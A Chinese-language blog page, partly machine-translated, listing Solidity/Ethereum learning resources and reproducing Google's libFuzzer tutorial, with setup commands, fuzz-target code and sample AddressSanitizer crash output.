Ruby-Ethereum
一个用Rubyweb应用程序编程语言编写的版本。

写作稳健性。
大多数以Solidity编写的合约(就像引擎中的齿轮一样)将用于与其他合约交互,这意味着编码人员在构造时必须非常小心,以便对象或脚本能够以正确的方式交互。
从某种意义上说,Ethereum合约可以被视为需要作为自动化生产设施运作。
组件需要沿着生产线线性移动,许多其他功能可以用来切割、弯曲、填充、打孔、油漆、标签和其他工作,以建立最终产品。
装配线的每个部分必须是同步的,否则最终产品将无法按预期工作。
如果您不习惯在命令行中工作,那么在http://Ethereum.org/Token上有一个简单的教程,它将帮助您创建一个 token。
在如何通过该 token实现合约方面也有逐步的说明。
一旦你更熟悉了,克里斯蒂安·赖特韦斯纳已经在公开演讲中详细阐述了发展社会道德和智能合约开发的最佳实践。

如何学习Solidity。
首先,在JavaScript中有一个坚实的基础对于学习Solidity是非常有帮助的。
但是,不管您是否了解JavaScript,这里列出了一些资源,您可以使用这些资源来学习关于Solidity中编码的更多信息:Solidity文档–这是最全面的
Solidity Documentation
本教程面向熟悉编程的人,但他们可能对Ethereum或块链技术没有经验。

Ether.Fund
这个在线资源维护了一个示例性合约列表,这些合约对于开发您自己的合约或了解创建合约的不同方法是如何工作的,都是非常有用的资源。

Ethereum Github Wiki
这个资源包含了一个DAPP开发人员的资源列表,对于那些有一定编程背景的人来说,这些资源是最有用的。
其中包括工具、代码示例、开发环境和技术参考。

Consensys
如果你对编程和Ethereum区块链很陌生,你可能会发现这一“编程智能合约入门”(Intro to Programming Smart Contracts)对Ethereum初创公司ConsenSys很有用。

它介绍了DAPP开发的基本概念,并向读者介绍了一个可能的DAPP开发流程。

Ledger Labs
另一个“DAPP开发简介”教程可以从加拿大的区块链咨询公司LedgerLabs获得。
当一项工作正在进行中时,它目前正在引导读者安装Geth,运行一个本地节点,一个基本的合约设计和一个更高级的拍卖合约示例。

如果您对编程完全陌生,您可能会发现,您需要首先学习任何编码所涉及的基本概念。
在线交互平台CodeAcademy有免费的交互式教程,可以教您JavaScript的基础知识,JavaScript是坚实的基础语言。
虽然细节和语法是不同的,但您将学到的许多基本概念都适用于Solidity。

Tuesday, March 20, 2018 by blast

upnp



https://www.ibm.com/developerworks/cn/linux/other/UPnP/part1/

Wednesday, February 7, 2018 by blast

libFuzzer Tutorial - 未完



https://github.com/google/fuzzer-test-suite/blob/master/tutorial/libFuzzerTutorial.md

For clang on C with C++ libfuzzer.a:
clang-4.0 sqlite3.c -lstdc++ -Wno-incompatible-pointer-types -pthread -g -fsanitize=address -fsanitize-coverage=trace-pc-guard ~/libFuzzer.a -o sql

libFuzzer教程

导言
在本教程中,您将学习如何使用libFuzzer–一个覆盖引导的进程内模糊引擎。
您还将学习AddressSaniizer的基础知识–一个用于C/C++的动态内存错误检测器。
先决条件:有C/C++和Unixshell的经验。

设置环境
首先,你应该为环境做好准备。
我们建议在GCE上使用VM。
更简单的解决方案是使用Google Docker(您可能无法完成与云存储相关的任务)。
您也可以使用自己的Linux机器,但是使用效果就因人而异了。

GCE上的VM
·登录到您的GCE帐户或创建一个。
·为它创建一个新的VM和ssh。
推荐Ubuntu 16.04,其他VM可能工作,也可能不工作。
尽可能多地选择CPU。
选择”Access scopes” = “Allow full access to all Cloud APIs”

·安装依赖关系:

# Install git and get this tutorial
sudo apt-get --yes install git
git clone https://github.com/google/fuzzer-test-suite.git FTS
./FTS/tutorial/install-deps.sh  # Get deps
./FTS/tutorial/install-clang.sh # Get fresh clang binaries
# Get libFuzzer sources and build it
svn co http://llvm.org/svn/llvm-project/compiler-rt/trunk/lib/fuzzer Fuzzer
Fuzzer/build.sh

Dock Worker
此选项测试较少;此外,您的笔记本电脑的核心数量也将限制。
`Install Docker
`Run docker run –cap-add SYS_PTRACE -ti libfuzzertutorial/prebuilt

Verify the setup
Run:

clang++ -g -fsanitize=address -fsanitize-coverage=trace-pc-guard FTS/tutorial/fuzz_me.cc libFuzzer.a
./a.out 2>&1 | grep ERROR

and make sure you see something like

==31851==ERROR: AddressSanitizer: heap-buffer-overflow on address...

Note: this tutorial uses LLVM/Clang 5.0, where libFuzzer uses the flags -fsanitize=address -fsanitize-coverage=trace-pc-guard. In newer versions the flags were renamed to -fsanitize=address,fuzzer, see http://libfuzzer.info

定义:Fuzz目标是一个函数,它具有以下特征,并对其参数执行一些有趣的操作:

extern “C” int LLVMFuzzerTestOneInput(const uint8_t *Data, size_t Size) {
DoSomethingWithData(Data, Size);
return 0;
}

看看这样一个fuzz目标的例子:./fuzz_me.cc。 https://github.com/google/fuzzer-test-suite/blob/master/tutorial/fuzz_me.cc
你能看到bug吗?
要为这个目标构建一个fuzz二进制文件,您需要使用最近的Clang编译器编译源代码,并使用以下额外标志:
-fsanitize-coverage=trace-pc-guard(必需):向libFuzzer提供进程内覆盖信息。
-fsanitize=Address(推荐):启用AddressSaniizer。
-g(推荐):启用调试信息,使错误消息更易于阅读。
然后,您需要链接目标代码与提供main()函数的libFuzzer.a。

clang++ -g -fsanitize=address -fsanitize-coverage=trace-pc-guard FTS/tutorial/fuzz_me.cc libFuzzer.a

Now try running it:

./a.out
You will see something like this:

INFO: Seed: 3918206239
INFO: Loaded 1 modules (14 guards): [0×73be00, 0×73be38),
INFO: -max_len is not provided, using 64
INFO: A corpus is not provided, starting from an empty corpus
#0 READ units: 1
#1 INITED cov: 3 ft: 3 corp: 1/1b exec/s: 0 rss: 26Mb
#8 NEW cov: 4 ft: 4 corp: 2/29b exec/s: 0 rss: 26Mb L: 28 MS: 2 InsertByte-InsertRepeatedBytes-
#3405 NEW cov: 5 ft: 5 corp: 3/82b exec/s: 0 rss: 27Mb L: 53 MS: 4 InsertByte-EraseBytes-…
#8664 NEW cov: 6 ft: 6 corp: 4/141b exec/s: 0 rss: 27Mb L: 59 MS: 3 CrossOver-EraseBytes-…
#272167 NEW cov: 7 ft: 7 corp: 5/201b exec/s: 0 rss: 51Mb L: 60 MS: 1 InsertByte-
=================================================================
==2335==ERROR: AddressSanitizer: heap-buffer-overflow on address 0×602000155c13 at pc 0×0000004ee637…
READ of size 1 at 0×602000155c13 thread T0
#0 0×4ee636 in FuzzMe(unsigned char const*, unsigned long) FTS/tutorial/fuzz_me.cc:10:7
#1 0×4ee6aa in LLVMFuzzerTestOneInput FTS/tutorial/fuzz_me.cc:14:3

artifact_prefix=’./’; Test unit written to ./crash-0eb8e4ed029b774d80f2b66408203801cb982a60

你看到类似的输出了吗?恭喜你,你造了一个模糊系统,发现了一个错误。让我们看看输出。

INFO: Seed: 3918206239

模糊开始于这种随机的种子。
用-SEED=3918206239重新运行它,以获得相同的结果。

INFO: -max_len is not provided, using 64
INFO: A corpus is not provided, starting from an empty corpus

默认情况下,libFuzzer假定所有输入都是64字节或更小。
若要更改此操作,请使用-max_len=N或使用非空种子语料库运行。

#0 READ units: 1
#1 INITED cov: 3 ft: 3 corp: 1/1b exec/s: 0 rss: 26Mb
#8 NEW cov: 4 ft: 4 corp: 2/29b exec/s: 0 rss: 26Mb L: 28 MS: 2 InsertByte-InsertRepeatedBytes-
#3405 NEW cov: 5 ft: 5 corp: 3/82b exec/s: 0 rss: 27Mb L: 53 MS: 4 InsertByte-EraseBytes-…
#8664 NEW cov: 6 ft: 6 corp: 4/141b exec/s: 0 rss: 27Mb L: 59 MS: 3 CrossOver-EraseBytes-…
#272167 NEW cov: 7 ft: 7 corp: 5/201b exec/s: 0 rss: 51Mb L: 60 MS: 1 InsertByte-

libFuzzer已经尝试了至少272167个输入(#272167),并且已经发现了总计201个字节的5个输入(corp:5/201b),总共覆盖了7个覆盖点(cov:7)。
您可能会认为覆盖率点是代码中的基本块。

==2335==ERROR: AddressSanitizer: heap-buffer-overflow on address 0×602000155c13 at pc 0×0000004ee637…
READ of size 1 at 0×602000155c13 thread T0
#0 0×4ee636 in FuzzMe(unsigned char const*, unsigned long) FTS/tutorial/fuzz_me.cc:10:7
#1 0×4ee6aa in LLVMFuzzerTestOneInput FTS/tutorial/fuzz_me.cc:14:3

在其中一个输入上,AddressSaniizer检测到了堆缓冲区溢出错误,并中止了执行。

artifact_prefix=’./’; Test unit written to ./crash-0eb8e4ed029b774d80f2b66408203801cb982a60

在退出进程之前,libFuzzer已经在磁盘上创建了一个文件,其中包含触发崩溃的字节。
看看这个文件。
你看到什么了?
为什么会引发crash?
若要再次再现崩溃,请运行w/o模糊运行。

./a.out crash-0eb8e4ed029b774d80f2b66408203801cb982a60

Monday, January 29, 2018 by blast